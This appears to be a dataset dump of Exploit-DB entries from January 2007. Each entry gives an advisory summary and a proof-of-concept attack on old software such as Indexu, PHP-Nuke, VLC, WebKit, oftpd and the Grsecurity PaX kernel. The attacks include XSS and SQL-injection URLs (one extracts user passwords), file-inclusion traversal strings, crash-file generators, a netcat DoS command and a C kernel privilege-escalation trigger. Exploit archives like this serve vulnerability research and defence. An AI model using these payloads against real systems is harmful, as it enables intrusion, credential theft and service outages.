QLWD/code_shield huggingface dataset:
标题: Indexu 5.0/5.3 - 'Sendmail.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29481 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
    
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/sendmail.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/sendmail.php?email=[XSS]
http://www.example.com/INDEXU_PATH/sendmail.php?name=[XSS]
http://www.example.com/INDEXU_PATH/sendmail.php?subject=[XSS] URL: https://www.exploit-db.com/exploits/29481
标题: Indexu 5.0/5.3 - 'upgrade.php?gateway' Cross-Site Scripting EDB-ID: 29477 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info

Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 


http://www.example.com/INDEXU_PATH/upgrade.php?pflag=upgrade&true&gateway=[XSS] URL: https://www.exploit-db.com/exploits/29477
标题: Indexu 5.0/5.3 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29485 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
       
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/register.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/register.php?username=[XSS]
http://www.example.com/INDEXU_PATH/register.php?password=[XSS]
http://www.example.com/INDEXU_PATH/register.php?password2=[XSS]
http://www.example.com/INDEXU_PATH/register.php?email=[XSS] URL: https://www.exploit-db.com/exploits/29485
标题: Indexu 5.0/5.3 - 'send_pwd.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29483 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
     
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/send_pwd.php?email=[XSS]
http://www.example.com/INDEXU_PATH/send_pwd.php?error_msg=[XSS]
http://www.example.com/INDEXU_PATH/send_pwd.php?username=[XSS] URL: https://www.exploit-db.com/exploits/29483
标题: Indexu 5.0/5.3 - 'user_detail.php?u' Cross-Site Scripting EDB-ID: 29479 CVE: 2007-0364 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22084/info
  
Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Indexu 5.3.0 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/INDEXU_PATH/user_detail.php?u=[XSS] URL: https://www.exploit-db.com/exploits/29479
标题: Oracle January 2007 Security Update - Multiple Vulnerabilities EDB-ID: 29475 CVE: 2007-0297 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22083/info

Oracle has released a Critical Patch Update advisory for January 2007 to address these vulnerabilities for supported releases. Earlier unsupported releases are likely to be affected by these issues as well.

The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly expose affected computers to complete compromise. 

http://www.example.com:1158/em/dynamicImage/emSDK/chart/EmChartBean?beanId=\..\..\..\..\..\..\..\..\..\..\..\..\test.txt URL: https://www.exploit-db.com/exploits/29475
标题: Squid Proxy 2.5/2.6 - FTP URI Remote Denial of Service EDB-ID: 29473 CVE: 2007-0247 类型: DOS 平台: LINUX 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22079/info

Squid is prone to a remote denial-of-service vulnerability because the proxy server fails to handle certain FTP requests.

Successfully exploiting this issue allows remote attackers to crash affected proxy applications, denying futher service to legitimate users.

Squid versions from 2.5.STABLE11 to 2.6.STABLE6 are vulnerable to this issue. 

ftp://www.example.com/sample/directory;type=d URL: https://www.exploit-db.com/exploits/29473
标题: Jax Petition 3.06 Book - 'smileys.php?languagepack' Local File Inclusion EDB-ID: 29469 CVE: 2007-0335 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22072/info
 
Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities using directory-traversal strings to have local script code execute in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.
 
These issues affect version 1.0.3.06; other versions may also be vulnerable. 

http://www.example.com/smileys.php?language=../../example_file.xxx%00? URL: https://www.exploit-db.com/exploits/29469
标题: BlueZ 1.x/2.x - HIDD Bluetooh HID Command Injection EDB-ID: 29471 CVE: 2006-6899 类型: REMOTE 平台: LINUX 发布日期: 2007-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22076/info

BlueZ hidd is prone to a device-command-injection vulnerability.

A remote attacker can exploit this issue to gain control of mouse and keyboard HIDs (human interface device). This will allow the attacker to interact with the targeted computer in the context of the currently logged-in user.

Versions prior to 2.25 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29471.tar.gz URL: https://www.exploit-db.com/exploits/29471
标题: Apple WebKit build 18794 - WebCore Remote Denial of Service EDB-ID: 29461 CVE: 2007-0342 类型: DOS 平台: OSX 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22059/info

Apple WebKit is prone to a denial-of-service vulnerability.

Attackers may exploit this issue by enticing victims into opening a malicious HTML document with an application using the affected framework.

Successful exploits will result in denial-of-service conditions.

Applications using WebKit build 18794 are vulnerable to this issue. 

<!-- 
Apple OS X WebKit WebCore::ArrayImpl "ROWSPAN" DoS
    
Discovered by:
Tom Ferris
<tommy[at]security-protocols[dot]com>
01/14/2007

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x00000000
0x3456fbee in WebCore::ArrayImpl::ArrayImpl ()
(gdb) bt
#0  0x3456fbee in WebCore::ArrayImpl::ArrayImpl ()
#1  0x34636a28 in WebCore::RenderTableSection::ensureRows ()
#2  0x34637417 in WebCore::RenderTableSection::addCell ()
#3  0x34638b20 in WebCore::RenderTableRow::addChild ()
#4  0x3456042b in WebCore::NodeImpl::createRendererIfNeeded ()
#5  0x3448a1a0 in WebCore::ElementImpl::attach ()
#6  0x3447ec73 in WebCore::HTMLParser::insertNode ()
#7  0x3447f210 in WebCore::HTMLParser::handleError ()
#8  0x3447ec4c in WebCore::HTMLParser::insertNode ()
#9  0x3447f210 in WebCore::HTMLParser::handleError ()
#10 0x3447ec4c in WebCore::HTMLParser::insertNode ()
#11 0x34481402 in WebCore::HTMLParser::parseToken ()
#12 0x34482732 in WebCore::HTMLTokenizer::processToken ()
#13 0x344867de in WebCore::HTMLTokenizer::parseTag ()
#14 0x344884fb in WebCore::HTMLTokenizer::write ()
#15 0x34533ae0 in WebCore::Frame::write ()
== snip ==
--!>

<TABLE >
<TD ROWSPAN=40000001 > URL: https://www.exploit-db.com/exploits/29461
标题: Jax Petition Book 3.06 - 'jax_petitionbook.php?languagepack' Local File Inclusion EDB-ID: 29468 CVE: 2007-0335 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22072/info

Jax Petitionbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to have local script code execute in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

These issues affect version 1.0.3.06; other versions may also be vulnerable. 

http://www.example.com/jax_petitionbook.php?language=../../example_file.xxx%00? URL: https://www.exploit-db.com/exploits/29468
标题: Oftpd 0.3.7 - Unsupported Address Family Remote Denial of Service EDB-ID: 29470 CVE: 2006-6767 类型: DOS 平台: LINUX 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22073/info

Oftpd Server is prone to a remote denial-of-service vulnerability because it mishandles unexpected user-supplied input.

Exploiting this issue allows remote attackers to crash the application, denying further service to legitimate users.

Oftpd Server 0.3.7 is reported vulnerable; other versions may also be affected.

nc www.example.com 21 <<< "LPRT 1,16,63,254,47,0,0,32,0,0,0,0,0,0,32,254,143,205,2,141,176"

220 Service ready for new user.
521 Only IPv4 supported, address family (4) URL: https://www.exploit-db.com/exploits/29470
标题: DT_Guestbook 1.0 - 'index.php' Cross-Site Scripting EDB-ID: 29472 CVE: 2006-6487 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22078/info

The 'dt_guestbook' program is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.0f is vulnerable; other versions may also be affected. 

http://www.example.com/[dt_guestbook_v1-directory]/index.php?submit=1&error[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/29472
标题: Libgtop2 Library - Local Buffer Overflow EDB-ID: 29458 CVE: 2007-0235 类型: DOS 平台: LINUX 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22054/info

The 'libgtop2' library is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying into an insufficiently sized memory buffer.

An attacker may exploit this issue by enticing victims into viewing a maliciously crafted system process with an application that uses the affected library.

Successful exploits may cause arbitrary code to run with the privileges of the victim. Failed exploit attempts will likely cause denial-of-service conditions.

Versions prior to libgtop2 2.14.6 are reported vulnerable. 

export dir=$(perl -e " print 's/'x1000;")
mkdir -p $dir
cp /bin/sleep $dir
$dir/sleep 100 &
gnome-system-monitor URL: https://www.exploit-db.com/exploits/29458
标题: Outpost Firewall PRO 4.0 - Local Privilege Escalation EDB-ID: 29465 CVE: 2007-0333 类型: LOCAL 平台: WINDOWS 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22069/info

Outpost Firewall PRO is prone to a local privilege-escalation vulnerability because it fails to perform adequate SSDT (System Service Descriptor Table) hooking on files in its installation directory.

A local attacker can exploit this issue to elevate their privileges, which can lead to the complete compromise of an affected computer.

Outpost Firewall PRO 4.0 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29465.zip URL: https://www.exploit-db.com/exploits/29465
标题: InstantASP 4.1 - 'Logon.aspx?sessionid' Cross-Site Scripting EDB-ID: 29456 CVE: 2007-0302 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22052/info

InstantForum.NET is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

These issues affect version 4.1.0; other versions may also be affected. 

http://www.example.com/Forums-Path/Logon.aspx?SessionID=[xss] URL: https://www.exploit-db.com/exploits/29456
标题: InstantASP 4.1 - 'Members1.aspx' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29457 CVE: 2007-0302 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22052/info
 
InstantForum.NET is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 4.1.0; other versions may also be affected. 

http://www.example.com/Forums-Path/Members1.aspx?Username=[xss]
http://www.example.com/Forums-Path/Members1.aspx?Update=[xss] URL: https://www.exploit-db.com/exploits/29457
标题: All In One Control Panel 1.3.x - 'cp_downloads.php?did' SQL Injection EDB-ID: 29451 CVE: 2007-0316 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22032/info

All In One Control Panel is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

All In One Control Panel 1.3.009 and prior versions are vulnerable.

http://www.example.com/AIOCP/public/code/cp_downloads.php?did=[sql]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous URL: https://www.exploit-db.com/exploits/29451
标题: PHP-Nuke 7.x - 'Block-Old_Articles.php' SQL Injection EDB-ID: 29453 CVE: 2007-0309 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/22037/info

PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable; other versions may also be affected. 

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
PHP-Nuke <= 7.9 Old-Articles Block "cat" SQL Injection vulnerability

http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);

if ($fp) {
    /* we put the GET request on $p variable, with "cid" with the 
malicious code and "categories" set to 1. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?> URL: https://www.exploit-db.com/exploits/29453
标题: WinZip 9.0 - Command Line Remote Buffer Overflow EDB-ID: 29447 CVE: 2007-0264 类型: DOS 平台: WINDOWS 发布日期: 2007-01-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22020/info

WinZip is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to cause denial-of-service conditions and possibly to execute arbitrary code within the context of the affected application, but this has not been confirmed.

This issue affects versions prior to 9.0 SR1. 

Winzip32.exe "A" x 5002 URL: https://www.exploit-db.com/exploits/29447
标题: Apple Mac OSX 10.4.8 - DMG UFS UFS_LookUp Denial of Service EDB-ID: 29452 CVE: 2007-0267 类型: DOS 平台: OSX 发布日期: 2007-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/22036/info

Apple Mac OS X is prone to a remote denial-of-service vulnerability. This issue occurs when the UFS filesystem handler fails to handle specially crafted DMG images.

A successful exploit can allow a remote attacker to cause kernel panic, resulting in a denial-of-service condition.

Mac OS X 10.4.8 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29452.dmg.gz URL: https://www.exploit-db.com/exploits/29452
标题: VideoLAN VLC Media Player 0.8.6a - Denial of Service (2) EDB-ID: 29443 CVE: 2007-0256 类型: DOS 平台: WINDOWS 发布日期: 2007-01-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/22003/info

VLC Media Player is prone to a denial-of-service vulnerability because it fails to sufficiently handle user-supplied data.

Exploiting this issue can allow an attacker to crash the application, effectively denying service to the user.

VLC Media Player 0.8.6a is vulnerable; other versions may also be affected.

print 
"-----------------------------------------------------------------------"
print "# VLC media player 0.8.6a Denial of Service"
print "# url: http://www.videolan.org/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: Lithium (Nirvana)"
print "# Tested on Windows xp Professional SP2 all patched"
print "# Special thanks to rgod"
print 
"-----------------------------------------------------------------------"

head = \
"\x30\x26\xb2\x75\x8e\x66\xcf\x11\xa6\xd9\x00\xaa\x00\x62\xce\x6c"+\
"\x66\x14\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x01\x02\xa1\xdc"+\
"\xab\x8c\x47\xa9\xcf\x11\x8e\xe4\x00\xc0\x0c\x20\x53\x65\x68\x00"+\
"\x00\x00\x00\x00\x00\x00\x88\xb6\x08\x46\x9a\x96\x6e\x45\x8d\xaf"+\
"\x90\x2c\xd0\xfc\xb6\x18\x52\x01\x1f\x00\x00\x00\x00\x00\x00\x5d"+\
"\x55\x03\x2e\xce\xc4\x01\x37\x05\x00\x00\x00\x00\x00\x00\xd0\x03"+\
"\xa1\x08\x00\x00\x00\x00\xf0\x64\x0c\x08\x00\x00\x00\x00\xb8\x0b"+\
"\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\xee\x05\x00\x00\xee\x05"+\
"\x00\x00\x5e\x6a\x15\x00\xb5\x03\xbf\x5f\x2e\xa9\xcf\x11\x8e\xe3"+\
"\x00\xc0\x0c\x20\x53\x65\x45\x10\x00\x00\x00\x00\x00\x00\x11\xd2"+\
"\xd3\xab\xba\xa9\xcf\x11\x8e\xe6\x00\xc0\x0c\x20\x53\x65\x06\x00"+\
"\x17\x10\x00\x00\xa9\x46\x43\x7c\xe0\xef\xfc\x4b\xb2\x29\x39\x3e"+\
"\xde\x41\x5c\x85\x21\x00\x00\x00\x00\x00\x00\x00\x01\x00\x06\x66"+\
"\x00\x72\x00\x00\x00\x5d\x8b\xf1\x26\x84\x45\xec\x47\x9f\x5f\x0e"+\
"\x65\x1f\x04\x52\xc9\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x01\xea"+\
"\xcb\xf8\xc5\xaf\x5b\x77\x48\x84\x67\xaa\x8c\x44\xfa\x4c\xca\x5a"+\
"\x01\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x01\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x00\x00\x00\x00\x01\x00\x34\x00\x00\x00\x06\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x4c\x00\x31\x00\x00\x00\x00\x00\x02\x00\x0c\x00\x02"+\
"\x00\x02\x00\x00\x00\x49\x00\x73\x00\x56\x00\x42\x00\x52\x00\x00"+\
"\x00\x01\x00\x00\x00\x02\x00\x34\x00\x00\x00\x04\x00\x00\x00\x44"+\
"\x00\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x43\x00\x6f\x00\x6e"+\
"\x00\x66\x00\x6f\x00\x72\x00\x6d\x00\x61\x00\x6e\x00\x63\x00\x65"+\
"\x00\x54\x00\x65\x00\x6d\x00\x70\x00\x6c\x00\x61\x00\x74\x00\x65"+\
"\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x2e\x00\x03\x00\x04"+\
"\x00\x00\x00"

buff = "A" * 4000

VLCFile = head + buff

fileOut = open('videolan.wmv','wb')
fileOut.write(VLCFile)
fileOut.close() URL: https://www.exploit-db.com/exploits/29443
标题: Grsecurity Kernel PaX - Local Privilege Escalation EDB-ID: 29446 CVE: 2007-0257 类型: LOCAL 平台: LINUX 发布日期: 2006-12-18 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/22014/info

Grsecurity Kernel PaX is prone to a local privilege-escalation vulnerability. 

An attacker can exploit this issue to obtain superuser privileges. A successful attack can result in the complete compromise of the affected computer.

NOTE: The vendor disputes the issue, stating that the application is not vulnerable.

Digital Armaments has provided an exploit and updated advisory outlining specific details of this vulnerability. Please see the reference section for further information.
*/

/*
** expand_stack() PaX local root vulnerability
** Vulnerability trigger.
**
** Copyright (C) 2007
** Digital Armaments Inc. - www.digitalarmaments.com
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <sched.h>
#include <fcntl.h>
#include <asm/page.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>

#define KBASE 0xc0000000
#define SEGMEXEC_TASK_SIZE (KBASE / 2)

#define LOSTPAGE_SIZE (PAGE_SIZE * 3)
#define MAP1_BASE 0x00004000
#define MAP2_BASE MAP1_BASE - LOSTPAGE_SIZE
#define PF_BASE MAP1_BASE + SEGMEXEC_TASK_SIZE - 0x4000

#define PAGE_GROW_NB 10

static char ucode [40] = "\xbe\x00\xF0\xFF\x5F\x83\x3e\x2a";

void mouarf (int signum)
{
char * str = (char *) (MAP1_BASE + 600);

memset ((void *)(MAP1_BASE + 600), 0x90, 40);
str [26] = 0xc3; /* ret */
return;
}

int main( void )
{
int i = 1;
void (* p)();

signal (SIGBUS, mouarf);

if( mmap( (void *) MAP1_BASE, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
{
perror( "mmap map1 base\n" );
return( 1 );
}

if( mmap( (void *) 0x0, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
{
perror( "mmap 0x0 failed\n" );
return( 1 );
}

if( mprotect( (void *) MAP1_BASE, PAGE_SIZE,
PROT_READ | PROT_WRITE | PROT_EXEC ) < 0 )
{
perror( "mprotect map1 base" );
fprintf( stderr, "run chpax -m on this executable\n" );
return( 1 );
}

* (int *) (ucode + 1) = (SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i));
memcpy ((void *)(MAP1_BASE + 600), ucode, 20);
p = (void *) MAP1_BASE + 600;
printf ("--> about to fault on %X\n", SEGMEXEC_TASK_SIZE - (PAGE_SIZE * i));
p ();
printf ("Overlaping the kernel by %d pages\n", i);

fflush( stdout );

printf ("Calling munmap ... %X, %x\n", 0x2000, 0x1000);
if (munmap (0x2000, 0x1000) < 0 )
perror ("munmap");

// printf ("Calling mremap ... \n");
// if (mremap (0x2000, 0x1000, 0x10000, MREMAP_MAYMOVE) < 0 )
// perror ("mremap");

printf ("PID:%d, sleeping\n", getpid ());
sleep (2000);
return( 0 );
} URL: https://www.exploit-db.com/exploits/29446